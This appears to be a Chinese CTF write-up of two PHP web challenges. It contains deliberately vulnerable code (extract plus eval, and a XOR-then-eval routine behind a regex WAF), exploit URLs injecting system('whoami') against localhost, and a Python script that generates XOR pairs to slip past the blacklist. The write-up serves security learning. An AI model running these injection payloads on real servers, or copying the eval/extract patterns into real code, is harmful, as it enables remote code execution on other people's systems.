两道简单ctf-php-web题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}

String2Array($attrstr);
​```


注意点:extract可以进行变量覆盖,eval那句话是把字符串数组格式转为真正的数组。
exp:

http://127.0.0.1/test.io/index.php?attrvalue[0]=2%22);system(%27whoami%27);//&attrid[0]=1
http://127.0.0.1/test.io/index.php?attrvalue[0]=1&attrid[0]=2&attrstr=phpinfo();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


```php
<?php
error_reporting('0');
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
function waf($str)
{
$blacklist='/phpinfo|passthru/i';
if (preg_match($blacklist,$str))
{
return false;
}
return true;
}

function HackMe($str1,$str2)
{
$str = "";
for ($i = 0;$i<strlen($str1);$i++)
{
$array1[$i] = $str1[$i];
}
for ($b = 0;$b<strlen($str2);$b++)
{
$array2[$b] = $str2[$b];
}
for ($c=0;$c <count($array1);$c++)
{
$str = $str.($array1[$c] ^ $array2[$c]);
}
if (strlen($str)<=30)
{
if (waf($str))
{
echo $str;
eval($str);
}
else
{
echo "ohhhhhhhhhhhhhhhhhhhhhhhh you can't get flag!!!!";
}
}
else
{
echo "nonono you are sooooooooo lang~";
}
}

HackMe($str1,$str2);
?>

题目复现时没有waf.php,在比赛的时候需要去fuzz下过滤了哪个字符,所以我这里简单写了些waf的实现,直接写到function里面了。简单的异或,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ava_alpha=[]
for i in range(0,128):
if(32<i and i<127):
ava_alpha.append(chr(i))
target_str="system('whoami');"
res1=""
res2=""
blacklist=['!']
class Getoutofloop(Exception):
pass
for k in range (len(target_str)):
try:
for i in ava_alpha:
for j in ava_alpha:
if(chr(ord(i)^ord(j))==(target_str[k]) and i not in blacklist and j not in blacklist):
res1+=str(i)
res2+=str(j)
raise Getoutofloop()
except:
pass

print(res1)
print(res2)

比较简单的异或,写脚本的时候注意如何跳出所有循环,这里用到了raise exception,可以根据黑名单维护blacklist保证不用blacklist里面的字符生成异或字符。